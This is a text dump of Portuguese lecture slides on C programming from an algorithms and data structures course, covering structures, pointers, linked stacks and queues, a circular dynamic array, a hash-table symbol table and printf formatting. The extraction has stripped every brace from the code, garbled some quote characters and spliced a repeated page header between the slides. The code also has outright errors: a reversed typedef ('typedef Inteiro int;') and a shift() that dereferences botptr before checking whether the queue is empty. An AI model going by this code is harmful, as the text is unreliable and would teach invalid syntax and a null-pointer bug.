Operações válidas: cópia, atribuição como entidade,acesso ao endereço ou acesso aos seus membros

Cópia e atribuição incluem passagem de parâmetrospara funções e retorno de valores de funções

Estruturas não podem ser comparadasAED 2003/2004 – p.239/554

Page 297: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas e Funções

Funções podem retornar estruturas:struct point makepoint(int x, int y)

struct point temp;

temp.x = x;

temp.y = y;

return temp;

Função retorna cópia da estrutura temp

AED 2003/2004 – p.240/554

Page 298: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas e Funções

Passagem de estruturas como parâmetros é feita porvalor:struct point addpoint(struct point p1, struct point p2)

p1.x += p2.x;

p1.y += p2.y;

return p1;

Chamada addpoint(pa, pb) não altera valoresda estrutura pa

AED 2003/2004 – p.241/554

Page 299: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas, Funções e Ponteiros

Passagem de estruturas grandes como parâmetros éineficienteUtilizam-se normalmente ponteiros para estruturas:struct point origin, *pp;

pp = &origin;

printf(¨Origem: (%d, %d)\n¨, (*pp).x, (*pp).y);

Notação (*pointer).struct-member pode sersubstituída por pointer->struct-member

struct point origin, *pp;

pp = &origin;

printf(¨Origem: (%d, %d)\n¨, pp->x, pp->y);

AED 2003/2004 – p.242/554

Page 300: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Vectores de Estruturas

Permitem representar conjuntos de dados agregados:

struct key

char *word; /* palavra-chave */

int count; /* # ocorrencias de palavra-chave */

keytab[NKEYS]; /* Vector de estruturas */

ou,

struct key

char *word; /* palavra-chave */

int count; /* # ocorrencias de palavra-chave */

;

struct key keytab[NKEYS]; /* Vector de estruturas */

AED 2003/2004 – p.243/554

Page 301: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Vectores de Estruturas

Inicialização:struct key

char *word; /* palavra-chave */

int count; /* # ocorrencias de palavra-chave */

keytab[] =

¨auto¨, 0 ,

¨break¨, 0 ,

¨case¨, 0 ,

...

;

Chavetas interiores desnecessárias na inicializaçãode estruturas compostas apenas por variáveissimples ou strings

AED 2003/2004 – p.244/554

Page 302: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contador de Palavras Chave

Escrever um programa em C que conta o número deocorrências de cada palavra-chave da linguagem C

#include <stdio.h>

#include <ctype.h>

#include <string.h>

struct key

char *word; /* palavra-chave */

int count; /* # ocorrencias de palavra-chave */

keytab[] =

"auto", 0 ,

"break", 0 ,

...

;

#define NKEYS 24

#define MAXWORD 100

int getword(char *, int);

int binsearch(char *, struct key *, int);

AED 2003/2004 – p.245/554

Page 303: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contador de Palavras Chave

main() /* count "C" keywords */

int n;

char word[MAXWORD];

while (getword(word, MAXWORD) != EOF)

if (isalpha(word[0]))

if((n = binsearch(word, keytab, NKEYS)) >= 0)

keytab[n].count++;

for (n=0; n < NKEYS; n++)

if (keytab[n].count > 0)

printf("%4d %s\n", keytab[n].count, keytab[n].word);

AED 2003/2004 – p.246/554

Page 304: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contador de Palavras Chave

/* find word in tab[0]...tab[n-1] */

int binsearch(char *word, struct key tab[], int n)

int low, high, mid, cond;

low = 0;

high = n - 1;

while (low <= high)

mid = (low+high) / 2;

if((cond = strcmp(word, tab[mid].word)) < 0)

high = mid - 1;

else if (cond > 0)

low = mid + 1;

else

return mid;

return -1;

AED 2003/2004 – p.247/554

Page 305: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contador de Palavras Chave

int getword(char *word, int lim) /* get next word from input */

int c;

char *w = word;

while (isspace(c = getc(stdin)))

;

if (c != EOF)

*w++ = c;

if (!isalpha(c))

*w = ’\0’;

return c;

for (; --lim > 0; w++)

if (!isalnum(*w = getc(stdin)))

ungetc(*w, stdin);

break;

*w = ’\0’;

return word[0];

AED 2003/2004 – p.248/554

Page 306: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apontadores para Estruturas

Escrever um programa em C que conta o número deocorrências de cada palavra-chave da linguagem C,utilizando apontadores para estruturas

#include <stdio.h>

#include <ctype.h>

#include <string.h>

struct key

char *word; /* palavra-chave */

int count; /* # ocorrencias de palavra-chave */

keytab[] =

"auto", 0 ,

"break", 0 ,

...

;

#define NKEYS 24

#define MAXWORD 100

int getword(char *, int);

struct key *binsearch(char *, struct key *, int);AED 2003/2004 – p.249/554

Page 307: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apontadores para Estruturas

main() /* count "C" keywords */

char word[MAXWORD];

struct key *p;

while (getword(word, MAXWORD) != EOF)

if (isalpha(word[0]))

if((p = binsearch(word, keytab, NKEYS)) != NULL)

p->count++;

for (p=keytab; p < keytab+NKEYS; p++)

if (p->count > 0)

printf("%4d %s\n", p->count, p->word);

AED 2003/2004 – p.250/554

Page 308: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apontadores para Estruturas

/* find word in tab[0]...tab[n-1] */

struct key *binsearch(char *word, struct key tab[], int n)

int cond;

struct key *low = &tab[0];

struct key *high = &tab[n]; /* valid address */

struct key *mid;

while (low < high)

mid = low + (high-low) / 2; /* cannot add pointers, just subtract */

if((cond = strcmp(word, mid->word)) < 0)

high = mid;

else if (cond > 0)

low = mid + 1;

else

return mid;

return NULL;

AED 2003/2004 – p.251/554

Page 309: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apontadores para Estruturas

int getword(char *word, int lim) /* get next word from input */

int c;

char *w = word;

while (isspace(c = getc(stdin)))

;

if (c != EOF)

*w++ = c;

if (!isalpha(c))

*w = ’\0’;

return c;

for (; --lim > 0; w++)

if (!isalnum(*w = getc(stdin)))

ungetc(*w, stdin);

break;

*w = ’\0’;

return word[0];

AED 2003/2004 – p.252/554

Page 310: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações Válidas com Ponteiros

Recapitular:Atribuições entre ponteiros do mesmo tipoSomar inteiro a ponteiroSubtrair inteiro a ponteiroSubtrair dois ponteiros (num mesmo vector)Comparar dois ponteiros (num mesmo vector)Atribuição e comparação com 0

AED 2003/2004 – p.253/554

Page 311: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas Auto-Referenciadas

As estruturas auto-referenciadas permitem criarestruturas de dados dinâmicas, utilizando ponteiros:

listas (simplesmente e duplamente ligadas), árvores,tabelas de dispersão, etc.

Um exemplo:Implementar pilha de valores inteiros utilizandoponteiros e estruturas

AED 2003/2004 – p.254/554

Page 312: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.h

extern void init();

extern int is_empty();

extern void push(int value);

extern int pop();

AED 2003/2004 – p.255/554

Page 313: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c

#include <stdio.h>

#include <stdlib.h>

struct iitem

int value;

struct iitem *next;

;

static struct iitem *top = NULL;

static struct iitem *alloc_item()

return (struct iitem *) malloc(sizeof(struct iitem));

void init() top = NULL;

int is_empty() return top == NULL;

AED 2003/2004 – p.256/554

Page 314: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c

void push(int value)

struct iitem *nitem = alloc_item();

nitem->value = value;

nitem->next = top;

top = nitem;

int pop()

if (!is_empty())

int rvalue = top->value;

struct iitem *ptmp = top;

top = top->next;

free(ptmp);

return rvalue;

return -1;

AED 2003/2004 – p.257/554

Page 315: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas Auto-Referenciadas

Um exemplo:Implementar fila de valores inteiros utilizando ponteirose estruturas

AED 2003/2004 – p.258/554

Page 316: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.h

extern void init();

extern int is_empty();

extern void queue(int value);

extern int dequeue();

AED 2003/2004 – p.259/554

Page 317: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

#include <stdio.h>

#include <stdlib.h>

struct iitem

int value;

struct iitem *next;

;

static struct iitem *putptr = NULL;

static struct iitem *getptr = NULL;

static struct iitem *alloc_item()

return (struct iitem *) malloc(sizeof(struct iitem));

void init() putptr = NULL; getptr = NULL;

int is_empty() return getptr == NULL;

AED 2003/2004 – p.260/554

Page 318: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

void queue(int value)

struct iitem *nitem = alloc_item();

nitem->value = value;

nitem->next = NULL;

if (putptr) putptr->next = nitem;

else getptr = nitem;

putptr = nitem;

int dequeue()

int rvalue;

struct iitem *ptmp;

if (is_empty()) return -1;

rvalue = getptr->value;

ptmp = getptr;

getptr = getptr->next;

if (!getptr) putptr = NULL;

free(ptmp);

return rvalue;

AED 2003/2004 – p.261/554

Page 319: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas Auto-Referenciadas

Um exemplo:Implementar fila generalizada de valores inteirosutilizando ponteiros e estruturas

Operações: push(int), pop(),unshift(int), shift()

AED 2003/2004 – p.262/554

Page 320: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.h

extern int init();

extern int is_empty();

extern void push(int value);

extern int pop();

extern void unshift(int value);

extern int shift();

AED 2003/2004 – p.263/554

Page 321: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

#include <stdio.h>

#include <stdlib.h>

struct iitem

int value;

struct iitem *prev;

struct iitem *next;

;

static struct iitem *topptr = NULL;

static struct iitem *botptr = NULL;

static struct iitem *alloc_item()

return (struct iitem *) malloc(sizeof(struct iitem));

void init() topptr = NULL; botptr = NULL;

int is_empty() return topptr == NULL;

AED 2003/2004 – p.264/554

Page 322: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

void push(int value)

struct iitem *nitem = alloc_item();

nitem->value = value;

if (topptr)

topptr->next = nitem;

else

botptr = nitem;

nitem->prev = topptr;

nitem->next = NULL;

topptr = nitem;

AED 2003/2004 – p.265/554

Page 323: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

int pop()

int rvalue;

struct iitem *ptmp;

if (is_empty())

return -1;

rvalue = topptr->value;

ptmp = topptr;

topptr = topptr->prev;

if (topptr)

topptr->next = NULL;

else

botptr = NULL;

free(ptmp);

return rvalue;

AED 2003/2004 – p.266/554

Page 324: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

void unshift(int value)

struct iitem *nitem = alloc_item();

nitem->value = value;

if (botptr)

botptr->prev = nitem;

else

topptr = nitem;

nitem->next = botptr;

nitem->prev = NULL;

botptr = nitem;

AED 2003/2004 – p.267/554

Page 325: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

int shift()

int rvalue;

struct iitem *ptmp;

if (is_empty())

return -1;

rvalue = botptr->value;

ptmp = botptr;

botptr = botptr->next;

if (botptr)

botptr->prev = NULL;

else

topptr = NULL;

free(ptmp);

return rvalue;

AED 2003/2004 – p.268/554

Page 326: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas Dinâmicas II

Um exemplo:Implementar fila generalizada de valores inteirosutilizando uma tabela dinâmica

Operações: push(int), pop(),unshift(int), shift()

AED 2003/2004 – p.269/554

Page 327: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

#include <stdio.h>

#include <stdlib.h>

#define INITQUEUESIZE 5

static int *iqueue;

static int *queue_top;

static int queue_dim;

static int *topptr = NULL;

static int *botptr = NULL;

AED 2003/2004 – p.270/554

Page 328: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

static int is_full()

return

topptr == botptr-1 ||

(botptr == iqueue && topptr == queue_top-1);

void init()

iqueue = (int*) malloc(INITQUEUESIZE * sizeof(int));

topptr = iqueue;

botptr = iqueue;

queue_dim = INITQUEUESIZE;

queue_top = iqueue+queue_dim;

int is_empty() return topptr == botptr;

AED 2003/2004 – p.271/554

Page 329: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

static void increase_queue_size()

int *pa, *pb;

int *ptmp = iqueue, *ptmptop = queue_top;

int prev_dim = queue_dim;

queue_dim = 2 * queue_dim;

iqueue = (int*) malloc(queue_dim * sizeof(int));

queue_top = iqueue + queue_dim;

for (pa=botptr, pb=iqueue; pa != topptr; )

*(pb++) = *(pa++);

if (pa == ptmptop) pa = ptmp;

botptr = iqueue;

topptr = iqueue + prev_dim - 1;

free(ptmp);

AED 2003/2004 – p.272/554

Page 330: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

void push(int value)

if (is_full())

increase_queue_size();

*(topptr++) = value;

if (topptr == queue_top)

topptr = iqueue;

int pop()

int rvalue;

if (is_empty())

return -1;

if (topptr == iqueue)

topptr = queue_top;

rvalue = *(--topptr);

return rvalue;

AED 2003/2004 – p.273/554

Page 331: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue.c

void unshift(int value)

if (is_full())

increase_queue_size();

if (botptr == iqueue)

botptr = queue_top;

*(--botptr) = value;

int shift()

int rvalue;

if (is_empty())

return -1;

rvalue = *(botptr++);

if (botptr == queue_top)

botptr = iqueue;

return rvalue;

AED 2003/2004 – p.274/554

Page 332: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Typedef

O typedef permite associar um nome com um tipo dedados já existentetypedef Inteiro int;

main()

Inteiro myint;

...

É usual utilizar typedef na manipulação de estruturasauto-referenciadasstruct iitem

int value;

struct iitem *prev;

struct iitem *next;

;

typedef struct iitem IntItem;

typedef IntItem* IntItemPtr;

AED 2003/2004 – p.275/554

Page 333: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

#include <stdio.h>

#include <stdlib.h>

struct iitem

int value;

struct iitem *prev;

struct iitem *next;

;

typedef struct iitem IntItem;

typedef IntItem* IntItemPtr;

static IntItemPtr topptr = NULL;

static IntItemPtr botptr = NULL;

static IntItemPtr alloc_item()

return (struct iitem *) malloc(sizeof(struct iitem));

void init() topptr = NULL; botptr = NULL;

int is_empty() return topptr == NULL;

AED 2003/2004 – p.276/554

Page 334: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

void push(int value)

IntItemPtr nitem = alloc_item();

nitem->value = value;

nitem->prev = topptr;

nitem->next = NULL;

if (topptr)

topptr->next = nitem;

else

botptr = nitem;

topptr = nitem;

AED 2003/2004 – p.277/554

Page 335: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

int pop()

int rvalue;

IntItemPtr ptmp;

if (is_empty())

return -1;

rvalue = topptr->value;

ptmp = topptr;

topptr = topptr->prev;

if (topptr)

topptr->next = NULL;

else

botptr = NULL;

free(ptmp);

return rvalue;

AED 2003/2004 – p.278/554

Page 336: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

void unshift(int value)

IntItemPtr nitem = alloc_item();

nitem->value = value;

nitem->next = botptr;

nitem->prev = NULL;

if (botptr)

botptr->prev = nitem;

else

topptr = nitem;

botptr = nitem;

AED 2003/2004 – p.279/554

Page 337: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

iqueue2.c

int shift()

int rvalue = botptr->value;

IntItemPtr ptmp = botptr;

if (is_empty())

return -1;

rvalue = botptr->value;

ptmp = botptr;

botptr = botptr->next;

if (botptr)

botptr->prev = NULL;

else

topptr = NULL;

free(ptmp);

return rvalue;

AED 2003/2004 – p.280/554

Page 338: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão I

Permitem manter conjuntos de palavrasOperações:lookup(char*)insert(char*)delete(char*)

Exemplo simples, para ilustrar utilizações de listas comtabelas

AED 2003/2004 – p.281/554

Page 339: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.h

extern void init();

extern char *lookup(char *word);

extern char *insert(char *word);

extern char *delete(char *word);

AED 2003/2004 – p.282/554

Page 340: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.c – Tabela de Símbolos

#include <string.h>

#include <stdlib.h>

#define TABDIM 101

struct witem

char *word;

struct witem *next;

;

typedef struct witem WORDITEM;

typedef WORDITEM* WORDITEMPTR;

static WORDITEMPTR *symtab = NULL;

AED 2003/2004 – p.283/554

Page 341: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.c

#define HBASE 31

static unsigned hashvalue(char *word)

unsigned hval = 0;

for(hval=0; *word;)

hval = *(word++) + HBASE * hval;

return hval % TABDIM;

void init()

WORDITEMPTR *px;

symtab = (WORDITEMPTR*) malloc(TABDIM*sizeof(WORDITEMPTR));

for(px=symtab; px<symtab+TABDIM; px++)

*px = NULL;

AED 2003/2004 – p.284/554

Page 342: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.c

char *lookup(char *word)

int whval = hashvalue(word), comp;

WORDITEMPTR px = symtab[whval];

for (; px && (comp = strcmp(px->word, word)) < 0; px = px->next)

;

if (px && !comp)

return px->word;

return NULL;

AED 2003/2004 – p.285/554

Page 343: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.c

char *insert(char *word)

int whval = hashvalue(word), comp;

char *nword = NULL;

WORDITEMPTR px = symtab[whval], py = px, pw;

for (; px && (comp = strcmp(px->word, word)) < 0;

py = px, px = px->next)

;

if (!px || comp)

nword = (char*) malloc(strlen(word)+1);

strcpy(nword, word);

pw = (WORDITEMPTR) malloc(sizeof(WORDITEM));

pw->word = nword;

pw->next = px;

if (px == py) symtab[whval] = pw;

else py->next = pw;

return nword;

AED 2003/2004 – p.286/554

Page 344: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

symtab.c

char *delete(char *word)

int whval = hashvalue(word), comp;

char *rword = NULL;

WORDITEMPTR px = symtab[whval], py = px;

for (; px && (comp = strcmp(px->word, word)) < 0;

py = px, px = px->next)

;

if (px && !comp)

rword = px->word;

if (px == py)

symtab[whval] = px->next;

else

py->next = px->next;

free(px);

return rword;

AED 2003/2004 – p.287/554

Page 345: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos Adicionais

Lista de inteiros simplesmente ligada:Inserção (ordenada) de elementoRemoção de elemento

#include <stdlib.h>

struct iitem

int value;

struct iitem *next;

;

typedef struct iitem IntItem;

typedef IntItem* IntItemPtr;

static IntItemPtr first = NULL;

static IntItemPtr alloc_item()

return (IntItemPtr) malloc(sizeof(IntItem));

void init() first = NULL;

AED 2003/2004 – p.288/554

Page 346: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inserção Ordenada de Elemento

int insert(int value)

IntItemPtr px, py, nitem;

for (px = first, py = px; px;

py = px, px = px->next)

if (px->value > value)

break;

else if (px->value == value)

return 0; /* no duplicates */

nitem = alloc_item();

nitem->value = value;

nitem->next = px;

if (px == first)

first = nitem;

else

py->next = nitem;

return 1;

AED 2003/2004 – p.289/554

Page 347: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Remoção de Elemento

int delete(int value)

IntItemPtr px, py;

for (px = first, py = px; px;

py = px, px = px->next)

if (px->value == value)

if (px == first)

first = first->next;

else

py->next = px->next;

free(px);

return 1;

return 0;

AED 2003/2004 – p.290/554

Page 348: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Escrever Lista de Inteiros

void print_list()

IntItemPtr px;

printf("[ ");

for (px = first; px; px = px->next)

printf("%d ", px->value);

printf("]\n");

AED 2003/2004 – p.291/554

Page 349: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.292/554

Page 350: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.293/554

Page 351: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.294/554

Page 352: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte VII

K&R Cap. 7

AED 2003/2004 – p.295/554

Page 353: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Bibliotecas do C

Funções para input/outputInput/Ouput standardOutput formatadoListas de argumentos variáveisInput formatadoAcesso a ficheirosInput/Output de linhas

Funções para strings

Funções para teste e conversão de caracteres

Funções para reserva de memória

Funções matemáticas

AED 2003/2004 – p.296/554

Page 354: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Input/Output Standard

int getchar(void)Retorna o próximo caracter do input de defeito (inputstandard), ou EOF caso o fim do ficheiro tenha sidodetectado.

int putchar(int c)Coloca o caracter c no output de defeito (outputstandard). A função retorna o caracter escrito, ou EOFcaso um erro tenha sido detectado.

#include <stdio.h>Declara a utilização de funções da biblioteca deinput/output.

AED 2003/2004 – p.297/554

Page 355: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Output Formatado

int printf(char *format, arg1, ..., argN)

Escreve arg1, ..., argN, de acordo com formatoformatCada argumento é escrito de acordo com umaespecificação de conversão, iniciada pelo caracter% e terminada por um caracter:

Caracteres válidos:d, i, o, x, X, u, c, s, f, e, E, g, G, p, %

’-’: ajustamento à esquerda; ’h’/’l’: short/longW: largura mínima do argumento a escrever’.’: separação entre a largura mínima e a precisãoP: Precisão a utilizar:caracteres para strings, casas decimais parareais, número mínimo de dígitos em inteiros’*’: utilizar argumento como largura ou precisão

AED 2003/2004 – p.298/554

Page 356: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo

:%s: :hello, world::%10s: :hello, world::%.10s: :hello, wor::%-10s: :hello, world::%.15s: :hello, world::%-15s: :hello, world ::%15.10s: : hello, wor::%-15.10s: :hello, wor :

AED 2003/2004 – p.299/554

